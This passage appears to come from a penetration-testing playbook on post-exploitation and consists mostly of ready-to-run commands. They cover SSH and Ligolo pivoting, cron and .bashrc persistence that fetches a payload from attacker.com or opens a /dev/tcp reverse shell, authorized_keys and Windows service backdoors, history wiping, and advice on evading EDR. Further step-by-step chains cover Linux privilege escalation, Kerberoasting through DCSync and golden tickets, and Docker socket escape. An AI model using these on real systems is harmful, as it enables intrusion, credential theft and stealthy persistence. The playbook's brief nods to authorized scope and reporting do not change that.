# Advanced Post-Exploitation Techniques

# In proxy console: add route
session  # select active agent
start    # activate TUN interface
# Add route on attacker: ip route add 192.168.1.0/24 dev ligolo
# Direct TCP access to internal network — no proxychains overhead
```

SSH tunneling:
```bash
# Local port forward (access internal service)
ssh -L 8080:192.168.1.10:80 user@pivot_host
# Dynamic SOCKS proxy
ssh -D 1080 user@pivot_host  # SOCKS5 on localhost:1080
# Remote port forward (expose attacker's local service through pivot)
ssh -R 4444:0.0.0.0:4444 user@pivot_host  # attacker C2 reachable from internal network
```

**Anti-pattern:** Using SSH dynamic forwarding with ProxyCommand for deep pivots — performance degrades badly. Use Ligolo-ng for multiple hops; it runs at TUN/TAP layer and avoids SOCKS overhead.

### Persistence

Linux persistence:
```bash
# Cron
echo "*/5 * * * * root curl http://attacker.com/payload.sh | bash" >> /etc/cron.d/update
# Systemd service
cat > /etc/systemd/system/update.service << 'EOF'
[Service]
ExecStart=/tmp/.agent
Restart=always
EOF
systemctl enable update && systemctl start update
# ~/.bashrc / ~/.profile (user-level, detected easily)
echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1" >> ~/.bashrc
# PAM module — stealthy but risky
# SSH authorized_keys
echo "ssh-rsa AAAA... attacker" >> ~/.ssh/authorized_keys
```

Windows persistence:
```powershell
# Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v updater /t REG_SZ /d "C:\Users\user\AppData\Roaming\update.exe"
# Scheduled task
schtasks /create /tn "\Microsoft\Windows\Update\Check" /tr "C:\Windows\Temp\payload.exe" /sc onlogon /ru SYSTEM
# WMI subscription (stealthy, persistent across reboots)
# Service
sc create evilsvc binPath= "C:\Windows\Temp\evil.exe" start= auto
```

**Anti-pattern:** Using Run keys for persistence — detected by nearly every EDR and Autoruns. WMI subscriptions and scheduled tasks that mimic legitimate names are significantly stealthier.

### Operational Security (OPSEC)

```bash
# Clear command history
history -c && > ~/.bash_history
# Use timestamps to identify existing files
ls -la /tmp/ | head  # note timestamps before touching
# Clean up indicators
shred -u /tmp/payload  # overwrite before delete
# Blend network traffic: use HTTP/HTTPS on standard ports; 443 > 4444
# Avoid: direct IP connections, non-standard ports, cleartext protocols
# Log awareness:
# Linux: /var/log/auth.log, /var/log/syslog, journalctl, auditd
# Windows: Security (4624,4634,4648), System, Application, Sysmon (if deployed)
```

Reporting structure:
```
Executive Summary    — business risk, attack narrative (no technical jargon)
Attack Narrative     — chronological kill chain from initial access to objective
Technical Findings   — CVSS-scored, ATT&CK tagged, reproduction steps
Remediation          — prioritized by severity, specific fixes with verification
Detection Ops        — where defenders could/should have caught each technique
Appendix             — full command logs, screenshots, artifacts
```

**Anti-pattern:** Not noting exact timestamps during engagement — forensic timeline reconstruction requires timestamps. Log every command with `script -a /tmp/engagement.log`.

## Key Chains

### External Shell to Root (Linux Privesc Chain)
1. Initial foothold: reverse shell from web vuln → Python TTY: `python3 -c 'import pty;pty.spawn("/bin/bash")'`; `export TERM=xterm; stty raw -echo; fg`
2. `linpeas.sh` → identify SUID binary (e.g., find) or sudo NOPASSWD
3. GTFOBins: `sudo find / -exec /bin/bash -p \; -quit` → root shell
4. Extract `/etc/shadow`, dump SSH keys, check `/root/.ssh/authorized_keys`
5. Chisel tunnel to internal network → pivot to next target
6. Persist: add SSH key to `/root/.ssh/authorized_keys`; install Sliver beacon as systemd service

### Sliver Beacon to Domain Admin (Windows Engagement)
1. Deliver beacon via phishing → execution via `mshta` LOLBin (AppLocker bypass)
2. Sliver session: `execute-assembly SharpHound.exe -- --CollectionMethods All`
3. BloodHound analysis → identify Kerberoastable DA-path account
4. `execute-assembly Rubeus.exe -- kerberoast /user:svc_sql /outfile:hashes.txt`
5. Exfil hashes → `hashcat -m 13100 hashes.txt rockyou.txt` → crack
6. PtH with cracked hash → `wmiexec.py -hashes :HASH DOMAIN/svc_sql@DC_IP`
7. DCSync → golden ticket → persistent DA access

### Container Escape → Host Root
1. Detect container: `ls /.dockerenv` / `cat /proc/1/cgroup | grep docker`
2. Check privileges: `cat /proc/self/status | grep CapEff` — `0000003fffffffff` = privileged
3. Privileged escape: `fdisk -l`, mount host disk, chroot to host
4. If not privileged: check for docker socket: `ls /var/run/docker.sock`
5. Socket escape: `docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt bash`
6. On host: dump SSH keys, extract secrets, install persistent Sliver beacon

---
v1.1 | Validated: 2026-03-13

## Verification

- [ ] All attack techniques tested within authorized scope
- [ ] Findings documented with evidence and MITRE ATT&CK mapping
- [ ] Cleanup completed — all artifacts removed
- [ ] Detection opportunities noted for blue team